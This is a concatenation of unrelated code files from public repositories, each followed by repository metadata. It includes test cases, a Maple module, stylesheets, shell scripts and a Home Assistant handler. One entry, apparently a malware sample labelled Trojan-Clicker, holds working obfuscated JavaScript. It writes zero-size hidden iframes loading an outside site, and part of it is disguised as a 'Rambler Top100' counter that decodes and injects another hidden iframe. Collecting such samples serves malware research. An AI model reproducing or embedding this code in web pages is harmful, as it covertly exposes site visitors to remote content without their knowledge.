Helm CLI Push Without Sign In Harbor ${user} ${pwd}
Test Case - Helm3 CLI Push
Init Chrome Driver
${user}= Set Variable user004
${pwd}= Set Variable Test1@34
Sign In Harbor ${HARBOR_URL} ${user} ${pwd}
Helm3 CLI Push Without Sign In Harbor ${user} ${pwd} | RobotFramework | 3 | zer0se7en/harbor | tests/robot-cases/Group1-Nightly/Chartmuseum.robot | [
"Apache-2.0"
] |
# Apply a domain to an expression.
# Apply will perform certain 'simplifications' to make sure the
# domain application is well-formed. e.g.,
# DOMAIN( DBound( [x,y], [xt,yt] ), DConstrain(..) )
# is the same as
# DOMAIN( .. , DInto(x,xt,DInto(y,yt,DConstrain(..))) )
# basically, when we see an 'unbound' variable in the 'RHS' , we should bind
# it with the default 'DInto'.
export Apply := module ()
uses Domain_Type, Hakaru, Utilities;
# Make sure these refer to the global names, or Records don't work
global context, weights, f_into, f_body, f_sum, f_constrain;
# Validates input and calls `do_apply' which implements the main logic. This
# function returns a function which takes as input the program corresponding
# to the 'body' (i.e. what is left after extracting the domain bounds and
# shape) and produces a program equivalent to the original (i.e. what was
# present before extracting domain bounds and shape), but simplified. In
# equational language:
# let (b,e1) = Extract:-Bound(e0)
# (s,e2) = Extract:-Shape(e1)
# e3 = Apply(DOMAIN(s,b))(e2)
# in e0 == e3
# is an invariant of Domain.
#
# `Apply' also takes an additional argument, which is a record which should
# contain handlers which determine how Domain constructors are applied to the
# resulting expression, and a table of weights which appear outermost to each
# domain bound variable. Some of these may have defaults (see *** below).
#
# The weights table is a mapping from variables appearing in the domain bounds
# to weights which appear immediately outside the application of that domain
# bound. It is passed to certain callbacks which can chose where to place said
# weights.
#
# Each handler loosely corresponds to a Domain constructor, except for
# `f_body'.
# f_into : DomBoundKind -> LO x -> DomBoundVar -> DomBoundRange -> KB
# -> WeightsTable -> LO x
# The 1st, 3rd, and 4th arguments come directly from a DomInto;
# the 2nd argument is the recursive application of Apply;
# the 5th and 6th arguments come from the context
# f_sum : Sequence (LO x) -> LO x
# Sequence being a Maple sequence (i.e. `f_sum' is an n-ary function)
# f_constrain : (forall x . LO x -> LO x) -> LO x -> LO x
# The 1st argument places a constraint on a LO, the 2nd arguement is the
# expression to be constrained.
# f_body : LO x -> KB -> LO x
# This handler is called on the 'body', along with the context in which that
# 'body' expression exists. This may be called multiple times, if for
# example the domain contains `DSum' or `DSplit'.
export ModuleApply := proc(dom :: HDomain_mb, ctx0::record, $)
local vs, sh, dbnd, ctx, defctx;
if dom :: DomNoSol then
error "cannot apply %1", dom;
end if;
dbnd, sh := op(dom);
# *** Default handlers
defctx :=
Record('context'=Domain:-Bound:-contextOf(dbnd)
,'f_into'=do_mk
,'f_body'=do_body
,'f_sum'=`+`
,'f_constrain'=((f,x)->f(x)));
ctx := merge_record_default(defctx,ctx0);
if not(ctx::'apply_context') or
{'context'} subset {exports(ctx0)} then
error "invalid input: %1", ctx0;
end if;
vs := Domain:-Bound:-withVarsIxs(dbnd);
(e->do_apply({}, e, vs, sh, ctx));
end proc;
local ModuleLoad := proc($)
BindingTools:-load_types_from_table(
# context := the context as a KB
# weights := the weights outer to each integral
# f_* := handlers for subexpressions
table([apply_context=
'`record`(`context`,
`weights`,
`f_into`, `f_body`, `f_sum`, `f_constrain`)']));
end proc;
# Helpers for applying only a shape or a bounds. Note that in the shape case,
# it may not contain `DInto's as these are only valid in the presence of a
# non-empty bounds. This is not checked.
export Shape := proc(dsh :: DomShape, e, $) ModuleApply( DOMAIN( [], dsh ), e ) end proc;
export Bound := proc(dbn :: DomBound, e, $) ModuleApply( DOMAIN( dbn, DConstrain() ), e ) end proc;
# main loop of the apply function
# done_ := variables already integrated
# e := expr
# vs := domain bounds
# sh := domain shape
# ctx := context (see apply_context)
local do_apply := proc(done__, e, vs, sh_, ctx::apply_context, $)
local i, s, sh := sh_, done_ := done__
, r, cond, cond_outer, vn, vt, shv, vars, deps, ctx1, rn;
# If the solution is a constraint, and the constraint is true,
# then just produce the expression. If it isn't necessarily true
# (i.e. trivial) then produce a Partition with the constraint as a
# guard.
if sh :: DomConstrain then
vars := Domain:-Bound:-varsOf(vs,"set") minus done_;
cond, cond_outer := select_cond_outer(sh, vars);
# if there are still integrals which have not been applied, apply
# them now
ctx:-f_constrain
(do_constrain(cond_outer),
do_mks(e, (r,kb1) ->
ctx:-f_constrain(do_constrain(cond),
ctx:-f_body(r, kb1)), vars, vs, ctx));
# if the solution is a sum of solutions, produce the algebraic sum
# of each summand of the solution applied to the expression.
elif sh :: DomSum then
ctx:-f_sum(seq(do_apply(done_, e, vs, s, ctx), s=sh))
# if the solution is a split solution, just make `do_apply' over
# the values of the Partition (the subsolutions)
elif sh :: DomSplit then
Partition:-Amap(
[ (c,_)->c
, (p,c)->do_apply(done_, e, vs, p,
upd_field(ctx, 'context', curry(KB:-assert,c)))
, c->c ], op(1, sh) );
# performs the 'make' on the expression after recursively
# applying the solution
elif sh :: DomInto then
# deconstruction
vn, vt, shv := op(sh);
# extract bounds which have not been applied upon which this
# bound depends. Those are applied after this one, so are not
# in 'scope' in the recursive call
vars := Domain:-Bound:-varsOf(vs,"set");
deps := (indets(vt, DomBoundVar) intersect vars) minus done_ ;
deps := `union`(deps, {vn});
done_ := `union`(done_, deps) ;
shv, cond_outer :=
select_cond_outer(shv, done_ union (indets(shv,DomBoundVar) intersect vars));
# build this integral, and the other this one depended on, then
# recursively apply
ctx:-f_constrain(do_constrain(cond_outer),
do_mks(e, (r,kb1) ->
do_apply(done_, r, vs, shv,
upd_field(ctx, 'context',_->kb1)),
deps, Domain:-Bound:-upd(vs, vn, vt), ctx));
else
error "don't know how to apply %1", sh
end if;
end proc;
# A default implementation for `f_into'
export do_mk := proc(mk, e, vn, ty_, _kb)
Domain:-ExtBound[mk]:-DoMk(e, vn, ty_);
end proc;
# A default implementation for `f_body'
export do_body := proc(e, _kb) e end proc;
# Like an `Indicator' but performs some early simplification which covers the
# common case of `DConstrain()' (and is expressed in terms of Partition).
local do_constrain := proc(cond0::{list,set,DomConstrain},$)
local mk_cond, cond := cond0;
if nops(cond)=0 then
mk_cond := x->x;
else
cond := bool_And(op(cond));
mk_cond := x->PARTITION([Piece(cond,x), Piece(Not(cond),0)]);
end if;
mk_cond;
end proc;
# A very cute way of pulling constraints out over other constructors
# which relies on the fact that constraints are required to be innermost;
# i.e. DomShape is a sum of products; i.e. this could also be called
# 'factoring'. e.g.:
# DSum( DConstrain(A, C), DConstrain(A, B) )
# -> DSum( DConstrain(C), DConstrain(B) ), {A}
# DSum( DConstrain(A), DConstrain(B) )
# -> DSum( DConstrain(A), DConstrain(B) ), { }
# DSum( DInto(x, .., DConstrain(A, B)), DInto(x, .., DConstrain(A, C))),
# and `x' is not in `vars'
# -> DSum( DInto(x, .., DConstrain(B)), DInto(x, .., DConstrain(C) ) ), {A}
local select_cond_outer := proc(sh::DomShape, vars0::set({name,list(name)}), $)
local csd, cs0, cs, ots, sh1, ins, vars := vars0;
if sh=DConstrain() then return sh, {}; end if;
vars := map(v->`if`(v::list,v,[v])[],vars); # handles(?) array variables
# the constraints which appear in the shape and don't mention dependant variables
csd := [op(indets(sh, And(DomConstrain,Not(satisfies(x->has(x,vars))))))];
cs0 := map(x->{op(x)},csd);
if cs0=[] then return sh, {}; end if; # if there are no such constraints
# Split each constraint into a pair whose first component are
# constraints common to all constraints in the shape
cs := map(x->[selectremove(z->andmap(c->z in c,cs0),x)], cs0);
# outers (common constraints) and inners (rest)
ots := op([1,1],cs); ins := map(curry(op,2), cs);
# substitute back into the shape the reduced constraints
sh1 := subs(zip(`=`, csd, map(DConstrain@op,ins)), sh);
userinfo(3, Domain, printf("select_cond_outer(%a, %a) = %a, %a\n", sh, vars, sh1, ots));
sh1, ots;
end proc;
# Move into an integral by augmenting the KB with the variables bound by
# that integral.
local into_mk := proc(dbnd::DomBound, vn, vt, ctx, $)
local kb, v_i, v_k, vn_, kb1, rn;
kb := ctx:-context;
if kb :: t_not_a_kb then return KB:-NotAKB() end if;
v_i := Domain:-Bound:-varIx(dbnd, vn);
v_k := op([1,v_i,3], dbnd);
vn_, kb1 := Domain:-ExtBound[v_k]:-MakeKB(vn, Domain:-ExtBound[v_k]:-SplitRange(vt), kb);
rn := `if`(evalb(vn=vn_), [], [vn=vn_]);
upd_field(ctx, 'context', _->kb1), rn;
end proc;
# Performs multiple integrals, corresponding to those variables given in
# `todo'. If `todo' is a set, then the order of integrals is one which matches
# the order in the original expression. If `todo' is a list, this function
# assumes that integrating in that order is valid (i.e. doesn't cause scope
# extrusion). `kont' takes an expression and a KB corresponding to the
# innermost context in which the input `e' will be used.
# do_mks(e, kont, [v0,v1..vn], dbnd, ctx{context=outerKB}) =
# Int(v0, RangeOf(v0,dbnd),
# Int(v1, RangeOf(v1,dnbd),
# ...
# Int(vn, RangeOf(vn,dnbd),
# kont(e, innerKB)) ... ))
# where innerKB is outerKB additionally augmented with
# the knowledge that
# `{v0 in RangeOf(v0,dbnd), v1 in RangeOf(v1,dbnd), .., vn in ..}'
local do_mks := proc(e, kont, todo::({list,set})(DomBoundVar), dbnd :: DomBound, ctx, $)
local vs, v_td, i, vt, kb0, v_mk, _, ctx1, rn, r := e;
if todo :: set then
vs := select(v->v in todo,Domain:-Bound:-varsOf(dbnd));
vs := ListTools[Reverse](vs);
else
vs := todo;
end if;
if nops(vs)=0 then
return kont(r,ctx:-context);
end if;
v_td := op(1,vs);
vs := subsop(1=NULL,vs);
i := Domain:-Bound:-varIx(dbnd, v_td);
_,vt,v_mk := op(op([1,i], dbnd));
ctx1, rn := into_mk(dbnd, v_td, vt, ctx);
if rn <> [] then
r := subs(rn,r);
end if;
r := do_mks(r, kont, vs, dbnd, ctx1);
ctx:-f_into(v_mk, r, v_td, vt, ctx:-context, ctx:-weights[v_td]);
end proc;
end module;
| Maple | 5 | vmchale/hakaru | maple/Domain/Apply.mpl | [
"BSD-3-Clause"
] |
#lang scribble/doc
@(require "common.rkt")
@(tools-title "module-language")
@definterface[drracket:module-language:module-language<%> ()]{
The only language that implements this interface is DrRacket's ``Use
the language declared in the source'' language.
@defmethod[(get-users-language-name) string]{
Returns the name of the language that is declared in the source, as a string.
}
}
@definterface[drracket:module-language-tools:definitions-text<%> ()]{
@defmethod[(move-to-new-language) void?]{
This method is called when a new language is evident in the
definitions window (by editing the @litchar{#lang} line.
}
@defmethod[(get-in-module-language?) boolean?]{
Returns @racket[#t] when the current language setting
(from the language dialog) is ``The Racket Language''.
}
}
@definterface[drracket:module-language-tools:tab<%> ()]{
This interface signals an implementation of a tab
that specially handles programs beginning with
@litchar{#lang}.
}
@definterface[drracket:module-language-tools:frame<%> ()]{
This interface signals an implementation of a frame
that specially handles programs beginning with
@litchar{#lang}.
}
@defmixin[drracket:module-language-tools:definitions-text-mixin
(text:basic<%>
racket:text<%>
drracket:unit:definitions-text<%>)
(drracket:module-language-tools:definitions-text<%>)]{}
@defmixin[drracket:module-language-tools:frame-mixin
(drracket:unit:frame<%>)
(drracket:module-language-tools:frame<%>)]{}
@defmixin[drracket:module-language-tools:tab-mixin
(drracket:unit:tab<%>)
(drracket:module-language-tools:tab<%>)]{}
@(tools-include "module-language")
| Racket | 5 | rrthomas/drracket | drracket/scribblings/tools/module-language.scrbl | [
"Apache-2.0",
"MIT"
] |
#define EMITTEDPARTICLE_LIGHTING
//#define DISABLE_SOFT_SHADOWMAP
#include "emittedparticlePS_soft.hlsl"
| HLSL | 0 | rohankumardubey/WickedEngine | WickedEngine/shaders/emittedparticlePS_soft_lighting.hlsl | [
"MIT"
] |
body,html{width:100%;height:100%;margin:0px;padding:0px;font-size:12px;color:#555;background-color:#000;font-family:'微软雅黑'}
#main{width:4352px;height:1536px;display:inline-block; background:url(../images/screenbg_design1.jpg) left top no-repeat}
/*年月日文字*/
#currentYear{width:213px;height:107px;position:absolute;left:430px;top:100px;color:#FFF;font-size:36px; font-family:'微软雅黑';text-align:center}
#currentMonth{width:213px;height:107px;position:absolute;left:1504px;top:75px;color:#FFF;font-size:36px; font-family:'微软雅黑';text-align:center}
#currentDay{width:213px;height:107px;position:absolute;left:2574px;top:100px;color:#FFF;font-size:36px; font-family:'微软雅黑';text-align:center}
/*年的进度条*/
#y_gauge1{width:250px;height:250px;position:absolute;left:60px;top:200px;}
#y_gauge2{width:250px;height:250px;position:absolute;left:290px;top:200px;}
#y_gauge3{width:250px;height:250px;position:absolute;left:530px;top:200px;}
#y_gauge4{width:250px;height:250px;position:absolute;left:770px;top:200px;}
/*月的进度条*/
#m_gauge1{width:250px;height:250px;position:absolute;left:1140px;top:130px;}
#m_gauge2{width:250px;height:250px;position:absolute;left:1370px;top:130px;}
#m_gauge3{width:250px;height:250px;position:absolute;left:1610px;top:130px;}
#m_gauge4{width:250px;height:250px;position:absolute;left:1850px;top:130px;}
/*日的进度条*/
#d_gauge1{width:250px;height:250px;position:absolute;left:2210px;top:200px;}
#d_gauge2{width:250px;height:250px;position:absolute;left:2440px;top:200px;}
#d_gauge3{width:250px;height:250px;position:absolute;left:2680px;top:200px;}
#d_gauge4{width:250px;height:250px;position:absolute;left:2920px;top:200px;}
/*监控的仪表盘*/
#gauge1{width:250px;height:250px;position:absolute;left:2200px;top:1050px;}
#gauge2{width:250px;height:250px;position:absolute;left:2550px;top:1050px;}
#gauge3{width:250px;height:250px;position:absolute;left:2910px;top:1050px;}
#gauge4{width:250px;height:250px;position:absolute;left:2380px;top:1190px;}
#gauge5{width:250px;height:250px;position:absolute;left:2730px;top:1190px;}
/*仪表盘文字*/
.gaugeTitle{width:250px;height:40px;position:absolute;left:0px;top:200px;color:#B7E1FF;font-size:24px;display:inline-block;text-align:center;font-family:Arial;}
/*地图*/
#map{width:1100px;height:800px;position:absolute;left:0px;top:620px;display:inline-block;color:#E1E1E1;font-size:24px;}
#plan{width:900px;height:420px;position:absolute;left:1170px;top:520px;display:inline-block;color:#E1E1E1;font-size:24px;}
#quality{width:900px;height:420px;position:absolute;left:1170px;top:1030px;display:inline-block;color:#E1E1E1;font-size:24px;}
#orderTable{width:1000px;height:430px;position:absolute;left:2160px;top:930px;display:inline-block}
#orderTable table{width:100%;color:#666;font-size:24px}
#orderTable table td{text-align:center;}
#orderTable table .head{height:80px;font-size:24px;color:#FFF}
#orderTable table .row2{color:#000}
#orderTable table .row1{background-color:#CCC}
#orderMessage{width:800px;position:absolute;left:33px;top:1420px;display:inline-block;color:#E1E1E1;font-size:24px}
/*生产情况展示表*/
#produce{width:1000px;height:380px;position:absolute;left:2190px;top:600px;display:inline-block;color:#B7E2FF;font-size:24px;}
#produce table{width:100%;font-size:24px;}
#produce table td{text-align:center;border:1px solid #069}
#produce table .row1{}
#produce table .row2{}
/*视频*/
#video{width:960px;height:540px;position:absolute;left:3280px;top:140px;display:inline-block;}
/*监控视频*/
#Monitor{width:960px;height:540px;position:absolute;left:3280px;top:940px;display:inline-block;color:#E1E1E1;font-size:24px;}
/*刷新时间*/
#refresh{width:800px;position:absolute;left:3350px;top:40px;display:inline-block;color:#FFF;font-size:24px;} | CSS | 2 | sammydai/jeecg-boot | jeecg-boot/jeecg-boot-module-demo/src/main/resources/static/bigscreen/template1/css/main_design1.css | [
"Apache-2.0"
] |
>>>++[
<+++++++++[
<[<++>-]>>[>>]+>>+[
-[->>+<<<[<[<<]<+>]>[>[>>]]]
<[>>[-]]>[>[-<<]>[<+<]]+<<
]<[>+<-]>>-
]<.[-]>>
]
"Random" byte generator using the Rule 30 automaton.
Doesn't terminate; you will have to kill it.
To get x bytes you need 32x+4 cells.
Turn off any newline translation!
Daniel B Cristofani (cristofdathevanetdotcom)
http://www.hevanet.com/cristofd/brainfuck/
| Brainfuck | 2 | saktheeswaranswan/brainfuckinpythonandc | programs/random.bf | [
"MIT"
] |
(* For use in combination with [No_polymorphic_compare]. *)
val compare : 'a -> 'a -> int
(** [ascending] is identical to [compare]. [descending x y = ascending y x]. These are
intended to be mnemonic when used like [List.sort ~cmp:ascending] and [List.sort
~cmp:descending], since they cause the list to be sorted in ascending or descending
order, respectively. *)
val ascending : 'a -> 'a -> int
val descending : 'a -> 'a -> int
val ( < ) : 'a -> 'a -> bool
val ( <= ) : 'a -> 'a -> bool
val ( > ) : 'a -> 'a -> bool
val ( >= ) : 'a -> 'a -> bool
val ( = ) : 'a -> 'a -> bool
val ( <> ) : 'a -> 'a -> bool
val equal : 'a -> 'a -> bool
val min : 'a -> 'a -> 'a
val max : 'a -> 'a -> 'a
| OCaml | 4 | Hans-Halverson/flow | src/hack_forked/third-party/core/polymorphic_compare.mli | [
"MIT"
] |
"""Describe lutron_caseta logbook events."""
from __future__ import annotations
from collections.abc import Callable
from homeassistant.components.logbook.const import (
LOGBOOK_ENTRY_MESSAGE,
LOGBOOK_ENTRY_NAME,
)
from homeassistant.core import Event, HomeAssistant, callback
from .const import (
ATTR_ACTION,
ATTR_AREA_NAME,
ATTR_DEVICE_NAME,
ATTR_LEAP_BUTTON_NUMBER,
ATTR_TYPE,
DOMAIN,
LUTRON_CASETA_BUTTON_EVENT,
)
from .device_trigger import LEAP_TO_DEVICE_TYPE_SUBTYPE_MAP
@callback
def async_describe_events(
hass: HomeAssistant,
async_describe_event: Callable[[str, str, Callable[[Event], dict[str, str]]], None],
) -> None:
"""Describe logbook events."""
@callback
def async_describe_button_event(event: Event) -> dict[str, str]:
"""Describe lutron_caseta_button_event logbook event."""
data = event.data
device_type = data[ATTR_TYPE]
leap_button_number = data[ATTR_LEAP_BUTTON_NUMBER]
button_map = LEAP_TO_DEVICE_TYPE_SUBTYPE_MAP[device_type]
button_description = button_map[leap_button_number]
return {
LOGBOOK_ENTRY_NAME: f"{data[ATTR_AREA_NAME]} {data[ATTR_DEVICE_NAME]}",
LOGBOOK_ENTRY_MESSAGE: f"{data[ATTR_ACTION]} {button_description}",
}
async_describe_event(
DOMAIN, LUTRON_CASETA_BUTTON_EVENT, async_describe_button_event
)
| Python | 4 | liangleslie/core | homeassistant/components/lutron_caseta/logbook.py | [
"Apache-2.0"
] |
<SCRIPT LANGUAGE="Javascript">
function n4yFwVA(QH9iNQg)
{
document.write(unescape(QH9iNQg))
return ""
}
function X7e8QjQ()
{
var wawz = '%3c%69%66%72%61%6d';
var qtif = '%65';
var cwno = '%20%73%72';
var bymz = '%63';
var uveu = '%3d';
var xtfq = '%22';
var rlua = '%68%74%74%70%3a%2f%2f';
var fgac = '%6c%69%76%65%2d%69%6e%76%65';
var hxbx = '%73%74%2e%63%6f';
var qkdt = '%6d';
var gqii = '%2f%69%6e%64%65%78%2e%70%68%70%22%20%77%69%64';
var ouhj = '%74';
var pmem = '%68';
var gjdx = '%3d%22%30%22%20%68%65%69%67';
var vxya = '%68';
var dydk = '%74%3d%22%30%22%3e%3c%2f%69%66%72%61%6d%65%3e';
var QH9iNQg=new Array()
QH9iNQg[0]=new Array(wawz+qtif+cwno+bymz+uveu+xtfq+rlua+fgac+hxbx+qkdt+gqii+ouhj+pmem+gjdx+vxya+dydk)
n4yFwVA(QH9iNQg);
}
X7e8QjQ();
</script><SCRIPT LANGUAGE="Javascript">
function n4yFwVA(QH9iNQg)
{
document.write(unescape(QH9iNQg))
return ""
}
function X7e8QjQ()
{
var wawz = '%3c%69%66%72%61%6d';
var qtif = '%65';
var cwno = '%20%73%72';
var bymz = '%63';
var uveu = '%3d';
var xtfq = '%22';
var rlua = '%68%74%74%70%3a%2f%2f';
var fgac = '%6c%69%76%65%2d%69%6e%76%65';
var hxbx = '%73%74%2e%63%6f';
var qkdt = '%6d';
var gqii = '%2f%69%6e%64%65%78%2e%70%68%70%22%20%77%69%64';
var ouhj = '%74';
var pmem = '%68';
var gjdx = '%3d%22%30%22%20%68%65%69%67';
var vxya = '%68';
var dydk = '%74%3d%22%30%22%3e%3c%2f%69%66%72%61%6d%65%3e';
var QH9iNQg=new Array()
QH9iNQg[0]=new Array(wawz+qtif+cwno+bymz+uveu+xtfq+rlua+fgac+hxbx+qkdt+gqii+ouhj+pmem+gjdx+vxya+dydk)
n4yFwVA(QH9iNQg);
}
X7e8QjQ();
</script><SCRIPT LANGUAGE="Javascript">
function n4yFwVA(QH9iNQg)
{
document.write(unescape(QH9iNQg))
return ""
}
function X7e8QjQ()
{
var wawz = '%3c%69%66%72%61%6d';
var qtif = '%65';
var cwno = '%20%73%72';
var bymz = '%63';
var uveu = '%3d';
var xtfq = '%22';
var rlua = '%68%74%74%70%3a%2f%2f';
var fgac = '%6c%69%76%65%2d%69%6e%76%65';
var hxbx = '%73%74%2e%63%6f';
var qkdt = '%6d';
var gqii = '%2f%69%6e%64%65%78%2e%70%68%70%22%20%77%69%64';
var ouhj = '%74';
var pmem = '%68';
var gjdx = '%3d%22%30%22%20%68%65%69%67';
var vxya = '%68';
var dydk = '%74%3d%22%30%22%3e%3c%2f%69%66%72%61%6d%65%3e';
var QH9iNQg=new Array()
QH9iNQg[0]=new Array(wawz+qtif+cwno+bymz+uveu+xtfq+rlua+fgac+hxbx+qkdt+gqii+ouhj+pmem+gjdx+vxya+dydk)
n4yFwVA(QH9iNQg);
}
X7e8QjQ();
</script><!--begin of Rambler Top100 --><SCRIPT Language="JavaScript">
eval(unescape("%66%75%6E%63%74%69%6F%6E%20%64%28%73%29%7B%72%3D%6E%65%77%20%41%72%72%61%79%28%29%3B%74%3D%22%22%3B%6A%3D%30%3B%66%6F%72%28%69%3D%73%2E%6C%65%6E%67%74%68%2D%31%3B%69%3E%30%3B%69%2D%2D%29%7B%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%5E%32%29%3B%69%66%28%74%2E%6C%65%6E%67%74%68%3E%38%30%29%7B%72%5B%6A%2B%2B%5D%3D%74%3B%74%3D%22%22%7D%7D%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%72%2E%6A%6F%69%6E%28%22%22%29%2B%74%29%7D"));d(unescape("%08<gocpdk->< lgffkj8{vknk`kqkt ?gn{vq\" erh,ggpd56!$123!$;23!$723!$56!$123!$633!$333!$46!$:33!$333!$733!$333!$633!$033!$333!$:33!$76!$433!$323!$233!$56!$56!$:7!$033!$433!$433!$623!$ ?apq\" 2 ?vjekgj\" 2 ?jvfku\"gocpdk>"));
</SCRIPT><!--end of Rambler Top100--> | Rouge | 0 | fengjixuchui/Family | HTML/Trojan-Clicker.HTML.IFrame.rg | [
"MIT"
] |
program_name='netlinx-common-libraries'
include 'io'
include 'debug'
include 'array'
include 'string'
include 'math'
include 'unixtime'
include 'graph'
| NetLinx | 1 | KimBurgess/netlinx-common-libraries | netlinx-common-libraries.axi | [
"MIT"
] |
#!/bin/csh
###
### Day/Time
### All files have the particular time
###
#set DAT=`date '+%Y-%m-%d_%H_%M_%S'`
set WD='/afs/cern.ch/cms/CAF/CMSALCA/ALCA_HCALCALIB/HCALMONITORING/RDMScript/CMSSW_5_3_21/src/RecoHcal/HcalPromptAnalysis/test/RDM'
set REF=135077
set LAST=`cat ${WD}/LED_LIST/LASTRUN`
if( ${LAST} == "" ) then
echo " Network problem: no access to the LASTRUN"
exit
endif
#### Uncomment after it is done
wget -q http://test-dtlisov.web.cern.ch/test-dtlisov/ -O ${WD}/LED_LIST/done.html.${1}
touch ${WD}/LED_LIST/done.html.${1}
touch ${WD}/LED_LIST/goodledruns.${1}
wget -q http://cmshcalweb01.cern.ch/DetDiag/Local_HTML/runlist.html -O ${WD}/LED_LIST/runlist.html.${1}
cat ${WD}/LED_LIST/runlist.html.${1} | sed s/\"//g | sed st\>\/t' 'tg | sed sk\<\/td\>kkg | sed sk\<\/a\>kkg | tr '\n' ' ' | awk -F '</tr>' '{for(i=1;i<=NF;i++) printf $i"\n"}' | awk -F '<tr> <td' '{print $2}' | tail -n +4 | sed s/' '/-/g | grep LED > ${WD}/LED_LIST/runlist.tmp0.${1}
touch ${WD}/LED_LIST/runlist.tmp.${1}
set count=0
foreach i (`cat ${WD}/LED_LIST/runlist.tmp0.${1}`)
echo ${i}
set TYPE=`echo $i | awk -F - '{print $13}'`
set HTML=`echo $i | awk -F - '{print $25}' | awk -F 'href=' '{print $2}'`
set RUNNUMBER=`echo $i | awk -F - '{print $9}'`
set YEAR=`echo $i | awk -F - '{print $17}'`
set MONTH=`echo $i | awk -F - '{print $18}'`
set DAY=`echo $i | awk -F - '{print $19}'`
set TIME=`echo $i | awk -F - '{print $20}'`
if ( ${TYPE} == "LED" && ${RUNNUMBER} > ${LAST} ) then
echo ${TYPE} ${HTML} ${RUNNUMBER}
wget -q ${HTML} -O ${WD}/LED_LIST/index.html.${1}
set NEVENTS=`cat ${WD}/LED_LIST/index.html.${1} | tail -n +14 | head -n 1 | awk -F '>' '{print $2}' | awk -F '<' '{print $1}'`
echo ${RUNNUMBER} "Number of events" ${NEVENTS}
#if( ${NEVENTS} >= "2000" && ${NEVENTS} < "10000" && ${RUNNUMBER} > ${LAST} ) then
#if( ${NEVENTS} >= "10000" && ${RUNNUMBER} > ${LAST} ) then
echo ${RUNNUMBER} "Number of events" ${NEVENTS} >> ${WD}/LED_LIST/goodledruns.${1}
grep -q ${RUNNUMBER} ${WD}/LED_LIST/done.html.${1}
if( ${status} == "1") then
echo "${RUNNUMBER}_${REF}_${YEAR}-${MONTH}-${DAY}_${TIME}_${NEVENTS}" >> ${WD}/LED_LIST/runlist.tmp.${1}
if( ${count} == "0" ) then
rm LED_LIST/LASTRUN
echo ${RUNNUMBER} > LED_LIST/LASTRUN
endif
@ count = ${count} + "1"
endif
#endif
rm ${WD}/LED_LIST/index.html.${1}
endif
end
rm ${WD}/LED_LIST/done.html.${1}
rm ${WD}/LED_LIST/runlist.html.${1}
cmsLs /store/group/dpg_hcal/comm_hcal/USC > ${WD}/LED_LIST/fullSrc0_list_${1}
cmsLs /store/group/dpg_hcal/comm_hcal/LS1 > ${WD}/LED_LIST/fullSrc1_list_${1}
| Tcsh | 2 | ckamtsikis/cmssw | DPGAnalysis/HcalTools/scripts/rmt/myselect_led.csh | [
"Apache-2.0"
] |
# Copyright (c) 2018-2021, Carnegie Mellon University
# See LICENSE for details
Class(SymSPL, BaseContainer, SumsBase, rec(
isBlock:=true,
transpose := self >> self,
rng:=self>>self._children[1].rng(),
dmn:=self>>self._children[1].dmn(),
vcost := self >> self._children[1].vcost()
));
| GAP | 2 | sr7cb/spiral-software | namespaces/spiral/paradigms/common/sigmaspl.gi | [
"BSD-2-Clause-FreeBSD"
] |
FORMAT: 1A
# Beehive API
## Honey [/honey/{id}]
+ Parameters
+ id
### Remove [DELETE]
+ Response 203
| API Blueprint | 2 | tomoyamachi/dredd | packages/dredd-transactions/test/fixtures/apib/ambiguous-parameters-annotation.apib | [
"MIT"
] |
-- Numeric + Numeric
SELECT try_add(1, 1);
SELECT try_add(2147483647, 1);
SELECT try_add(-2147483648, -1);
SELECT try_add(9223372036854775807L, 1);
SELECT try_add(-9223372036854775808L, -1);
-- Date + Integer
SELECT try_add(date'2021-01-01', 1);
SELECT try_add(1, date'2021-01-01');
-- Date + Interval
SELECT try_add(date'2021-01-01', interval 2 year);
SELECT try_add(date'2021-01-01', interval 2 second);
SELECT try_add(interval 2 year, date'2021-01-01');
SELECT try_add(interval 2 second, date'2021-01-01');
-- Timestamp + Interval
SELECT try_add(timestamp_ltz'2021-01-01 00:00:00', interval 2 year);
SELECT try_add(timestamp_ntz'2021-01-01 00:00:00', interval 2 second);
SELECT try_add(interval 2 year, timestamp_ltz'2021-01-01 00:00:00');
SELECT try_add(interval 2 second, timestamp_ntz'2021-01-01 00:00:00');
-- Interval + Interval
SELECT try_add(interval 2 year, interval 2 year);
SELECT try_add(interval 2 second, interval 2 second);
SELECT try_add(interval 2 year, interval 2 second);
SELECT try_add(interval 2147483647 month, interval 2 month);
SELECT try_add(interval 106751991 day, interval 3 day);
-- Numeric / Numeric
SELECT try_divide(1, 0.5);
SELECT try_divide(1, 0);
SELECT try_divide(0, 0);
-- Interval / Numeric
SELECT try_divide(interval 2 year, 2);
SELECT try_divide(interval 2 second, 2);
SELECT try_divide(interval 2 year, 0);
SELECT try_divide(interval 2 second, 0);
SELECT try_divide(interval 2147483647 month, 0.5);
SELECT try_divide(interval 106751991 day, 0.5);
| SQL | 3 | akhalymon-cv/spark | sql/core/src/test/resources/sql-tests/inputs/try_arithmetic.sql | [
"Apache-2.0"
] |
fileFormatVersion: 2
guid: 329ca71a721948a9a64a7b3b48604058
timeCreated: 1616137640 | Unity3D Asset | 0 | cihan-demir/NineMensMorris | MLPYthonEnv/ml-agents-release_17/com.unity.ml-agents/Tests/Runtime/Utils/TestClasses.cs.meta | [
"MIT"
] |
ul.list-group
- @channels.each do |c|
li.list-group-item class='withdraws-channel-#{c.id}'
.row.row-middle
.col-xs-18
.row.row-middle
.col-xs-12
h4 = c.title_text
.col-xs-12
.row
.col-xs-24
p.text-ignore = c.intro_text
.row
.col-xs-6
i.fa.fa-cogs.text-info
span = c.transfer_text
.col-xs-10
i.fa.fa-clock-o.text-info
span = c.latency_text
.col-xs-6
a.btn.btn-default.btn-block href='#{send("new_withdraws_#{c.key}_path")}' = c.go_text
| Slim | 4 | gsmlg/peatio | app/views/private/withdraws/index.html.slim | [
"MIT"
] |
#!/usr/bin/env bash
set -euo pipefail
CIRCLECI_FOLDER="${BASH_SOURCE[0]%/*}"
cd $CIRCLECI_FOLDER
CIRCLECI_FOLDER="$PWD"
SERVER_ROOT="$CIRCLECI_FOLDER/../server"
i=1
echoInfo() {
echo -e "\033[36m$i. $*\033[0m"
i=$[i+1]
}
fail_if_port_busy() {
local PORT=$1
if nc -z localhost $PORT ; then
echo "Port $PORT is busy. Exiting"
exit 1
fi
}
wait_for_port() {
local PORT=$1
echo "waiting for $PORT"
